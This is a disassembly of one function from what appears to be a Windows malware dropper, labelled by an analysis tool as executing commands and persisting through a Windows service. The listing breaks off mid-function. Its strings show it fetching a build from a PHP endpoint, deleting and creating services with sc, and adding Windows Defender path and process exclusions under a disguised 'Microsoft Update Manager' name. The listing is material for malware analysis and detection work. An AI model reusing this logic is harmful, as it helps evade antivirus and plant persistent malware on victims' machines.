Function at 0x40eb00
Capabilities:
Execute command
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41caf5
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x42400c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xcc], ecx
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x424924
call fcn.00404570
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
xorps xmm0, xmm0
push 0x14
movups xmmword [ecx], xmm0
push str.update_MANAGER_start
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00404fa0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f30
add esp, 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x64], esp
mov edi, esp
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68], esp
push 8
movups xmmword [ecx], xmm0
push str.bldMNGR
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00404fa0
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
xorps xmm0, xmm0
push 0xd
movups xmmword [ecx], xmm0
push str.get_build.php
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00404fa0
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040b400
add esp, 0x30
mov ecx, edi
call fcn.00401580
mov dword [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x60], ecx
mov eax, closesocket
mov edx, dword [0x424090]
sub eax, edx
cmp eax, 4
jb 0x4101f2
cmp dword [0x424094], 0x10
mov eax, 0x424080
push 4
cmovae eax, dword [0x424080]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x60]
call fcn.0040a4d0
mov dword [ebp - 4], 0xffffffff
call fcn.00403040
add esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x424924
call fcn.00404570
sub esp, 0x18
mov dword [ebp - 4], 3
mov ecx, esp
xorps xmm0, xmm0
push 0x15
movups xmmword [ecx], xmm0
push str.update_MANAGER_copied
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00404fa0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f30
add esp, 0x30
mov byte [ebp - 0x11], 2
mov esi, 0xa
nop dword [eax]
push 1
lea edx, [ebp - 0x11]
lea ecx, [ebp - 0xe4]
call fcn.00402a60
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 4
mov edi, dword [ecx + 0x14]
mov eax, edi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 1
jb 0x40ecf2
lea eax, [edx + 1]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp edi, 0x10
jb 0x40ecea
mov eax, dword [ecx]
mov word [eax + edx], 0x7c
jmp 0x40ed09
push 1
push 0x41ec90
mov byte [ebp - 0x68], 0
push dword [ebp - 0x68]
push 1
call fcn.00405350
mov ecx, eax
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [eax + 0x38]
cmovae edx, dword [ebp - 0x2c]
call fcn.00419b90
mov ecx, dword [ebp - 0x18]
mov edi, eax
cmp ecx, 0x10
jb 0x40ed8f
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ed85
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f03d
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x40ede2
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40edd8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f03d
push ecx
push edx
call fcn.0041aa32
add esp, 8
push 0x64
dec esi
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jle 0x40edf7
test esi, esi
jg 0x40ecb0
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x424924
call fcn.00404570
sub esp, 0x18
mov dword [ebp - 4], 5
mov ecx, esp
xorps xmm0, xmm0
push 0x18
movups xmmword [ecx], xmm0
push str.update_MANAGER_sock_send
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00404fa0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f30
mov edi, dword [ebp - 0xcc]
add esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00404570
mov ecx, esi
call fcn.004082f0
add esp, 0x18
call fcn.00418b90
add esp, 0x18
test eax, eax
je 0x40eed3
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x424924
call fcn.00404570
sub esp, 0x18
mov dword [ebp - 4], 6
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str.weit
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00404fa0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f30
add esp, 0x30
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x424924
call fcn.00404570
mov dword [ebp - 4], 7
mov eax, closesocket
mov ecx, dword [edi + 0x30]
sub eax, ecx
cmp eax, 0xb
jb 0x4101f7
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x40ef0f
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x44]
call fcn.0040a4d0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x40ef52
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x40ef6a
push 1
push 0x41e66c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.00405350
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2c]
mov ecx, esp
mov edx, str.update_MANAGER:
push eax
call fcn.00404c40
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xb
call fcn.00407f30
mov byte [ebp - 4], 0xa
add esp, 0x30
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40effe
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40eff4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f03d
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x40f04d
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f043
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f043
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov ecx, dword [edi + 0x30]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xb
jb 0x4101fc
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x40f06c
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x44]
call fcn.0040a4d0
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x40f0b2
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x40f0ca
push 1
push 0x41e66c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.00405350
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x40f146
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f13c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f185
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x40f195
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f18b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f18b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x424924
call fcn.00404570
mov dword [ebp - 4], 0xd
mov esi, edi
cmp dword [edi + 0x14], 0x10
jb 0x40f1bc
mov esi, dword [edi]
sub esp, 0x18
mov edx, esi
mov ecx, esp
xorps xmm0, xmm0
lea eax, [edx + 1]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ebp - 0x68], eax
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40f1e0
sub edx, dword [ebp - 0x68]
push edx
push esi
call fcn.00404fa0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f30
add esp, 0x18
mov ecx, esp
push edi
call fcn.00404570
call fcn.004061e0
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x41e918
call fcn.00409810
sub esp, 0x18
mov dword [ebp - 4], 0xe
mov ecx, esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.00409810
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0xffffffff
call fcn.00418d80
push 4
mov edx, 2
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0xb0]
call fcn.00402960
add esp, 0x34
mov esi, eax
mov byte [ebp - 4], 0x10
mov ecx, closesocket
mov edx, dword [ebp - 0x4c]
sub ecx, edx
cmp ecx, 0x24
jb 0x410201
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push 0x24
cmovae eax, dword [ebp - 0x5c]
push str.Microsoft_Manager_INCUPS_Manager_x
push edx
push eax
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xe4]
call fcn.0040a4d0
push esi
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x11
push eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x2c]
call fcn.0040a2f0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x18]
mov eax, edx
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
cmp eax, 4
jb 0x40f2e7
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [eax + ecx], 0x6578652e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x2c]
jmp 0x40f2ff
push 4
push str..exe
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x68]
push 4
call fcn.00405350
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40f359
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f34f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f3d5
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x40f3a5
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f39b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f3d5
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x40f3e5
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f3db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f3db
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
push 4
mov edx, 2
mov dword [ebp - 0xa0], 0
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
call fcn.00402960
push eax
mov edx, str.Microsoft_Update_Manager_x
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2c]
call fcn.00404c40
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x40f467
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f45d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f45d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x11c], 0
mov esi, esp
mov dword [ebp - 0x118], 0xf
sub esp, 0x18
mov byte [ebp - 0x12c], 0
mov ecx, esp
mov dword [ebp - 0x68], esi
push edi
call fcn.00404570
lea ecx, [ebp - 0xfc]
call fcn.004082f0
add esp, 0x18
mov dword [ebp - 0x64], eax
push edi
sub esp, 0x18
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00404570
lea ecx, [ebp - 0x15c]
call fcn.004082f0
add esp, 0x18
mov edi, eax
mov byte [ebp - 4], 0x1b
mov ecx, closesocket
mov edx, dword [ebp - 0x34]
sub ecx, edx
cmp ecx, 0x21
jb 0x410206
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push edx
cmovae eax, dword [ebp - 0x44]
push eax
push 0x21
push str.Add_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x80]
call fcn.0040a4d0
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x6c]
mov eax, edx
mov ecx, dword [ebp - 0x70]
sub eax, ecx
push 0x27
push str.__Add_MpPreference__ExclusionProcess_
cmp eax, 0x27
jb 0x40f541
cmp edx, 0x10
lea esi, [ebp - 0x80]
lea eax, [ecx + 0x27]
cmovae esi, dword [ebp - 0x80]
add esi, ecx
mov dword [ebp - 0x70], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0x27], 0
lea eax, [ebp - 0x80]
mov esi, dword [ebp - 0x68]
add esp, 0xc
jmp 0x40f552
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x68]
push 0x27
call fcn.00405350
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x1d
push eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0xc8]
call fcn.0040a2f0
push str.__Remove_MpPreference__ExclusionPath_
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x1e
call fcn.00404470
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea edx, [ebp - 0x98]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x144]
call fcn.00409b40
add esp, 4
push str.__Remove_MpPreference__ExclusionProcess_
mov ecx, eax
mov byte [ebp - 4], 0x20
call fcn.00404470
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x174]
push dword [ebp - 0x64]
lea ecx, [ebp - 0xb0]
push eax
push dword [ebp - 0x60]
call fcn.0040a2f0
push 0x41eb4c
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x22
call fcn.00404470
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00406590
mov byte [ebp - 4], 0x21
add esp, 0x18
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x40f6e9
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f6df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
cmp ecx, 0x10
jb 0x40f742
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f738
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x40f780
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f776
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
cmp ecx, 0x10
jb 0x40f7d9
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f7cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x40f832
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f828
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x40f88b
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f881
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x40f8c3
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f8b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x148]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x40f90f
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f905
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f95a
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
cmp ecx, 0x10
jb 0x40f96a
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f960
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f960
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x60], esp
push eax
call fcn.00404570
sub esp, 0x18
mov byte [ebp - 4], 0x23
mov ecx, esp
mov esi, closesocket
mov dword [ebp - 0x64], ecx
mov eax, esi
mov edx, dword [0x424090]
sub eax, edx
cmp eax, 4
jb 0x41020b
cmp dword [0x424094], 0x10
mov eax, 0x424080
push 4
cmovae eax, dword [0x424080]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x60]
call fcn.0040a4d0
mov byte [ebp - 4], 0x19
call fcn.00408550
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xbc]
add esp, 0x30
call fcn.00406f60
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x114], 1
call fcn.00405df0
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xbc]
test edx, edx
je 0x40fa78
mov ecx, dword [ebp - 0xb4]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x40fa50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fbb3
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
sub esp, 0x18
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x44]
mov ecx, esp
lea edi, [ebp - 0x8c]
push eax
call fcn.00404570
mov ecx, edi
call fcn.004062c0
add esp, 0x18
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
mov eax, edi
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x104], 2
call fcn.00405df0
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x8c]
test edx, edx
je 0x40fb30
mov ecx, dword [ebp - 0x84]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x40fb08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fbb3
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
sub esp, 0x18
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x2c]
mov ecx, esp
lea edi, [ebp - 0x74]
push eax
call fcn.00404570
mov ecx, edi
call fcn.004062c0
add esp, 0x18
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov eax, edi
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf4], 3
call fcn.00405df0
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x74]
test edx, edx
je 0x40fbd8
mov ecx, dword [ebp - 0x6c]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x40fbb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40fbb9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
sub esp, 0xc
mov byte [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0x60], esp
lea eax, [ebp - 0xe4]
lea edx, [ebp - 0x114]
push ecx
push eax
push edx
call fcn.004109a0
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, esp
push 0x424954
call fcn.00404570
mov byte [ebp - 4], 0x2c
call fcn.004067e0
add esp, 0x24
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x114]
push 0x405d80
push 3
push 0x10
push eax
call fcn.0041aa6c
mov ecx, dword [ebp - 0x1c]
mov eax, esi
sub eax, ecx
cmp eax, 0xb
jb 0x410210
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xb
push str.sc_create__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb0]
call fcn.0040a4d0
mov byte [ebp - 4], 0x2e
mov edx, dword [ebp - 0x9c]
mov eax, edx
mov ecx, dword [ebp - 0xa0]
sub eax, ecx
push 0xb
push str.__binpath_
cmp eax, 0xb
jb 0x40fcb3
cmp edx, 0x10
